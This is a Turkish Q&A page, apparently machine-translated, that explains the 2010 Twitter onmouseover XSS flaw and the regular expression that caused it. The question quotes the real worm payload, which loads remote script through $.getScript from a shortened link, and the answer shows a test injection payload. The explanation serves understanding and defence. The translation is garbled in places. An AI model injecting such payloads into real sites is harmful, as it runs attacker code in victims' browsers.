SORU
21 EYLÜL 2010, Salı


Bugün'In onmouseover twitter.com'te XSS

Aynen Twitter'da bugün neler olduğunu açıklayabilir misin? Temelde insanların bir tweet bu linki içeren göndermek için neden oldu yararlanma:

http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/

Bu teknik olarak XSS saldırı yoksa başka bir şey mi?

Twitter giriş sayfası gibi görünüyordu.* *11

CEVAP
21 EYLÜL 2010, Salı


Bu güvenlik açığı URL düzgün, ayrıştırıldı değil çünkü. Örneğin, aşağıdaki URL Twitter gönderildi

http://thisisatest.com/@"onmouseover="alert('test xss')"/

Twitter URL olarak nitelendirir. Bu kod etrafında bir bağlantı sarar Twitter ayrıştırılır, yani artık HTML gibi görünüyor:

<a href="http://thisisatest.com/@"onmouseover="alert('test xss')"rel/" target="_blank" ="">http://thisisatest.com/@"onmouseover="alert('test xss')"/</a></span> 

URL ve sonunda eğik çizgi koyarak, Twitter (yani. kaçış sağlayan içinde bir tırnak işareti içeren olsa bile, geçerli bir URL sahip olduğunu görebilirsiniz href öznitelik, bilgiçler için orada sonlandırmak) URL ve bir fare üzerinde özniteliği vardır. Bağlantıyı kapatma ve bir komut dosyası öğesi de dahil olmak üzere sayfa için herhangi bir şey yazabilirsiniz. Ayrıca, $.getScript() kullanabilirsiniz, çünkü 140 karakter sınırı ile sınırlı değildir.

This taahhüt ederse, o olsaydı, bu XSS açığı engel olurdu.

Ayrıntılı olarak, soruna neden olan bir düzenli ifade etti:

REGEXEN[:valid_url_path_chars] = /(?:
  #{REGEXEN[:wikipedia_disambiguation]}|
  @[^\/] \/|
  [\.\,]?#{REGEXEN[:valid_general_url_path_chars]}
)/ix

@[^\/] \/ Bölüm @ işareti öneki ve bir eğik çizgi ile ekli herhangi bir karakter izin (eğik çizgi hariç).

10 ** değiştirerek artık sadece geçerli URL karakter verir.

Bunu Paylaş:
  • Google+
  • E-Posta
Etiketler:

YORUMLAR

SPONSOR VİDEO

Rastgele Yazarlar

  • 30GB

    30GB

    14 AĞUSTOS 2006
  • Just So

    Just So

    3 HAZİRAN 2007
  • RyanXLT

    RyanXLT

    22 Ocak 2011

İLGİLİ SORU / CEVAPLAR